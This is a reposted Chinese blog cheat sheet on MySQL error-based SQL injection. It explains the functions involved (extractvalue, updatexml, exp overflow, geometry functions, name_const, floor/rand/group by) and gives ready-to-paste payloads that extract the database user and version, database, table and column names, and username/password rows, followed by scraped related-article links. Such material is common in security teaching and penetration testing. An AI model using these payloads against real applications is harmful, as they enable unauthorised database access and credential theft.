MySQL报错注入函数汇总及常用注入语句
版权声明:本文转载自网络内容,下面附原创链接
原创链接:https://blog.csdn.net/Auuuuuuuu/article/details/91415165
常用函数
字符串连接函数,将多个字符串连接成一个字符串,当中间字符串有一个为空时,最后结果也为空
concat(str1, str2, str3 ,...)
concat_ws('指定分隔符', str1,str2,str3...)
开头指定分隔符,与concat()不同,它会自动忽略中间的空值,只有分隔符为空,整体才返回空
group_concat(field_name1,field_name2,field_name3 ...)
分组的方式连接所有字符串(把某个字段下的所有数据全部连接成一个字符串),有长度限制,默认1024
截取字符串函数
substring(要截断的字符串,开始截取位置,截取长度) (从1开始)
substr 和 substring 操作相同
mysql 专有的字符串截取
mid(要截断的字符串,开始截取位置,截取长度)(从1开始)
左截取 left(str, 3) 从左往右截取3个字符
右截取 right(str, 3) 从右往左截取3个字符
rand()函数会随机产生 [ 0 , 1 ) 之间的浮点数
rand(x) 每个x对应一个固定的值,可预测
rand()*2会随机产生 [ 0 , 2 ) 之间的浮点数
floor()函数只返回整数部分,小数部分舍弃。
round()函数四舍五入,大于0.5的部分进位,不到则舍弃。
limit用法(从0开始)
如果只给定一个参数,表示记录数
检索前3条记录 等价于 右图
检索4条记录,从第2条数据开始(从0开始)
count(*)是对行数目进行计数
常用的Mysql内置变量
version() 当前数据库详细版本号
database() 当前所在的数据库
user() 当前数据库用户权限
@@datadir 数据文件的存放目录
@@basedir 数据库的安装路径
@@version_compile_os 宿主系统平台是什么
@@hostname 当前机器的机器名
show variables like 'log_% 查看日志文件存放位置
报错函数
xpath处理函数报错注入
extractvalue(xml_doc, xpath) 从指定xml文档中查询指定的字符串
updatexml(xml_doc,xpath,new_value) 利用xpath把xml文档中的指定字符串替换成新值
报错payload:
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
参数Xpath需要的是 xpath格式的字符串,不是就会报错,sql语句由内向外执行报错得到查询的信息
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,所以MySQL 5.1.5版本以下的不能上述函数进行报错注入
并且,上述报错注入函数有字符限制,最长32位
整形溢出报错注入:
exp(x) 数学函数 返回值 e (自然对数的底) 的 x 次方
报错payload:
and exp(~(select * from(select user())a));
将0按位取反就会返回最大数“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。
exp是以e为底的指数函数,由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错。
所以我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据
MySql5.5.5版本后整形溢出才会报错
几何函数报错注入
geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错
上述函数经本地测试,本地高版本MySQL无法得到数据(5.6.22)
成功得到数据如下所示:
select multipoint((select * from (select * from (select * from (select version())a)b)c));
ERROR 1367 (22007): Illegal non geometric '(select `c`.`version()` from (select '5.5.40-log' AS `version()` from dual) `c`)' value found during parsing
列名重复报错注入
name_const()函数
报错payload:
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;
name_const(name,value)函数会用传入的参数返回一列结果集.传入的参数必须是常量,如果不是则报错
报错payload :因为两列列名相同,外面选择时候报错,说重复列
经测试,只能查version() 函数其他可能因为不是常量的原因报参数错误的错误,不会回显想要的信息 略鸡肋
虚拟表主键重复报错注入
floor() + rand() + group by
报错payload:
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
原理参考链接:https://www.2cto.com/article/201604/498394.html
group by key (key为虚拟表的主键)
循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据
其他payload(修改 limit 即可):
爆所有数据库:
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆表:
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆字段:
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=表名 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆内容:
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
————————————————
版权声明:本文为CSDN博主「Au.J」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Auuuuuuuu/article/details/91415165
MySQL报错注入函数汇总及常用注入语句的更多相关文章
- SQL注入之Mysql报错注入
--志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...
- SQL注入之MySQL报错注入整理
看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ...
- Mysql报错注入原理分析(count()、rand()、group by)
Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...
- PHP连接MySQL报错:SQLSTATE[HY000] [2002] Can't connect to local MySQL server through socket 'MySQL' (2)
如下所示,PHP连接MySQL报错: SQLSTATE[HY000] [2002] Can't connect to local MySQL server through socket 'MySQL' ...
- 开启bin-log日志mysql报错:This function has none of DETERMINISTIC, NO SQL解决办法
开启bin-log日志mysql报错:This function has none of DETERMINISTIC, NO SQL解决办法: 创建存储过程时 出错信息: ERROR 1418 (HY ...
- Asp.Net连接Mysql报错Out of sync with server
Asp.Net连接Mysql报错Out of sync with server 原因:程序引用的MySql.Data.dll版本高于服务器版本 解决:下载一个低版本的MySql.Data.dll,项目 ...
- Linux系统下启动MySQL报错:Neither host 'localhost.localdomain' nor 'localhost' could be looked up with
Linux系统下启动MySQL报错:Neither host 'localhost.localdomain' nor 'localhost' could be looked up with 摘要 Li ...
- 启动Mysql报错:Another MySQL daemon already running with the same unix socket.
启动Mysql报错: Another MySQL daemon already running with the same unix socket. 删除如下文件即可解决 /var/lib/mysql ...
- 解决:MySQL 报错:1045 - Access denied for user 'root'@'localhost'(using password YES)
一.前言 今年疯狂迷上了开源,只要看到好的开源项目,就会不顾一切一股脑扎进去研究,五一期间发现一个很好的关于众筹的开源项目,但不巧,这个项目竟然是 PHP 写的,没学过 PHP,自然对这个开源项目毫无 ...
随机推荐
- 2019暑期集训第二讲 - 组合数学&概率&数学期望
A - 容斥原理(CodeForces - 451E) 二进制状态压缩暴力枚举哪几个花选的个数超过了总个数,卢卡斯定理求组合数,容斥原理求答案 可以先把每个花的数量当成无限个,这样就是一个多重集的组合 ...
- Dynamic Programming(动态规划)
钢材分段问题 #include<iostream> #include<vector> using namespace std; class Solution { public: ...
- Entity Framework Migrations 数据迁移
在使用Entity Framework 过程中,经常会遇到需要变更model 的状况,此时可以使用Migrations ,将每次变更记录以便后续更换机器或是运行在生产环境,持久层可保持一致. 在Pac ...
- C语言笔记 13_排序算法
排序算法 冒泡排序 冒泡排序(英语:Bubble Sort)是一种简单的排序算法.它重复地走访过要排序的数列,一次比较两个元素,如果他们的顺序(如从大到小.首字母从A到Z)错误就把他们交换过来. 过程 ...
- 神奇的navigationBar.translucent
初步实践所得: 当translucent属性为YES的时候,vc的view的坐标从导航栏的左上角开始: 当translucent属性为NO的时候,vc的view的坐标从导航栏的左下角开始: 深入探 ...
- 全球定位IP位置 2018(离线版)
球定位IP位置 2018(离线版) 这次写的软件使用Python写的,所以体积可能有点大 我特地写了GUI打包成了Exe可执行文件,方便小白使用== 只要输入目标ip就能显示目标所在的国家城市和经纬度 ...
- three.js的一些介绍
什么是 WebGL? WebGL(Web 图形库)是一种 JavaScript API,用于在任何兼容的 Web 浏览器中呈现交互式 3D 和 2D 图形,而无需使用插件.WebGL 通过引入一个与 ...
- Go语言 | 哪些大公司在用go语言?
Go大概09年面世以来,已经8年了,也算是8年抗战.在这8年中,已经有很多公司开始使用Go语言开发自己的服务,甚至完全转向Go开发,也诞生了很多基于Go的服务和应用,比如Dokcer.k8s等,现在我 ...
- ch4 背景图像基础
如果希望网站有一个好看的背景,只需将背景应用于主体元素,即在body上应用background-image,默认情况下浏览器水平和垂直的重复显示背景图像,让图像平铺在整个页面上,可以选择背景图像是垂直 ...
- rinetd 进行转发
目前云数据库 Redis 版需要通过 ECS 进行内网连接访问.如果您本地需要通过公网访问云数据库 Redis,可以在 ECS Linux 云服务器中安装 rinetd 进行转发实现. 在云服务器 E ...